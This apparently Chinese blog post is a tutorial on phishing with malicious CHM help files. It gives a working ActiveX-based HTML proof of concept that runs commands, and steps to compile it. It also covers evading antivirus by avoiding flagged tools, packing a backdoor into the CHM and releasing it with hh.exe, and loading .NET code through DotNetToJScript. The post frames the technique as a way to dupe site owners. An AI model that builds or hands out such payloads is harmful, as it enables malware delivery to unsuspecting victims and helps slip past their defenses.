网站首页 > 技术教程 正文
1、CHM钓鱼
进行钓鱼选择合适的payload非常重要,使用一些容易让人放松警惕的文件格式可以大大提高钓鱼的成功率。CHM是微软推出的基于HTML的帮助文件系统,被 IE 浏览器支持的JavaScript, VBScript, ActiveX,等,CHM同样支持。因此使用CHM作为钓鱼的payload非常合适。
上述的总体意思就是,可以让更多站长上当,这里充分了利用到了社会工程学
1) 、使用com控件命令执行
根据@ithurricanept的推特
使用了js启动com控件执行命令
原始码如下:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>
POC
使用HTML帮助研讨会
创建一个新的项目,添加文件后进行编译
选择新
记住这里千万不要打勾
随便输入记住带.hpp后缀
随便选择一个
然后选择new之后选择HTML文件
然后输入我们刚才的poc
写完之后ctrl + s保存
记住保存的地址
然后点击这个
选择添加把我们刚写的文件添加进去
然后点击ok
随后点击这个
得到地址去访问。发现便执行了命令
利用
实际测试的时候注意了以下几点:
执行命令的时候注意预定的参数与程序名需要用逗号替换,参数与参数之间不需要。
考虑到进行敏感操作会导致杀软提示,因此应避免使用powershell,bitsadmin,certutil,cscript等。
通过cmd执行命令也属于敏感操作,因此使用多个控件依次执行命令。
在搜索的过程中发现.chm文件的替换程序hh.exe具有反编译功能(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来
HH.EXE -decompile D:/xTemp/decompile-folder C:/xTemp/XMLconvert.chm
hh -decompile目标文件夹源CHM文件名
这句话的意思
因此可以将后门程序一起打包进chm文件中,运行时调用hh.exe释放chm中的后门程序再执行。
测试:
使用360测试的时候效果不太理想,在联网情况下使用hh.exe反编译会被拦截,断网情况下没有问题。
使用火绒测试没有任何拦截。
3、使用js加载.net
既然可以利用chm执行js,那为什么不内嵌.net和dll呢?
POC
编写一个.net dll
namespace ClassLibrary1{ public class Class1 { public Class1() { /* Start notepad */ Process.Start("notepad.exe"); } }}
生成js脚本
DotNetToJScript.exe -o 1.js ClassLibrary1.dll -c ClassLibrary1.Class1
- 上一篇: 记一次HVV实战应急响应
- 下一篇: 78民间测评:年末最终作 HGUC V2AB高达
猜你喜欢
- 2024-12-01 绿色地狱steam中文版
- 2024-12-01 Linux学习笔记:在linux下用打包发布可执行文件的两种方法
- 2024-12-01 VPN安装包“引狼入室”
- 2024-12-01 腾讯大佬详细讲解Java 启动exe程序,传递参数和获取参数
- 2024-12-01 西门子组态软件wincc V7.5使用--执行exe文件和关闭exe文件
- 2024-12-01 IP地址修改,不快怎么行
- 2024-12-01 常见钓鱼文档的种类有哪些?
- 2024-12-01 直接运行内嵌exe文件的另一种方法
- 2024-12-01 如何打包一个QT程序(Windows和linux)
- 2024-12-01 卸载的exe文件怎么恢复 电脑卸载exe文件的恢复技巧
你 发表评论:
欢迎- 最近发表
-
- linux日志文件的管理、备份及日志服务器的搭建
- Linux下挂载windows的共享目录操作方法
- Linux系统中的备份文件命令(linux系统中的备份文件命令有哪些)
- 麒麟KYLINOS|通过不同方法设置用户访问文件及目录权限
- 「Linux笔记」系统目录结构(linux目录的结构及含义)
- linux中修改归属权chown命令和chgrp命令
- 工作日报 2021.10.27 Android-SEAndroid权限问题指南
- Windows和Linux环境下,修改Ollama的模型默认保存路径
- 如何强制用户在 Linux 上下次登录时更改密码?
- 如何删除Linux文件夹中除某些扩展名之外的所有文件?
- 标签列表
-
- 下划线是什么 (87)
- 精美网站 (58)
- qq登录界面 (90)
- nginx 命令 (82)
- nginx .http (73)
- nginx lua (70)
- nginx 重定向 (68)
- Nginx超时 (65)
- nginx 监控 (57)
- odbc (59)
- rar密码破解工具 (62)
- annotation (71)
- 红黑树 (57)
- 智力题 (62)
- php空间申请 (61)
- 按键精灵 注册码 (69)
- 软件测试报告 (59)
- ntcreatefile (64)
- 闪动文字 (56)
- guid (66)
- abap (63)
- mpeg 2 (65)
- column (63)
- dreamweaver教程 (57)
- excel行列转换 (56)
本文暂时没有评论,来添加一个吧(●'◡'●)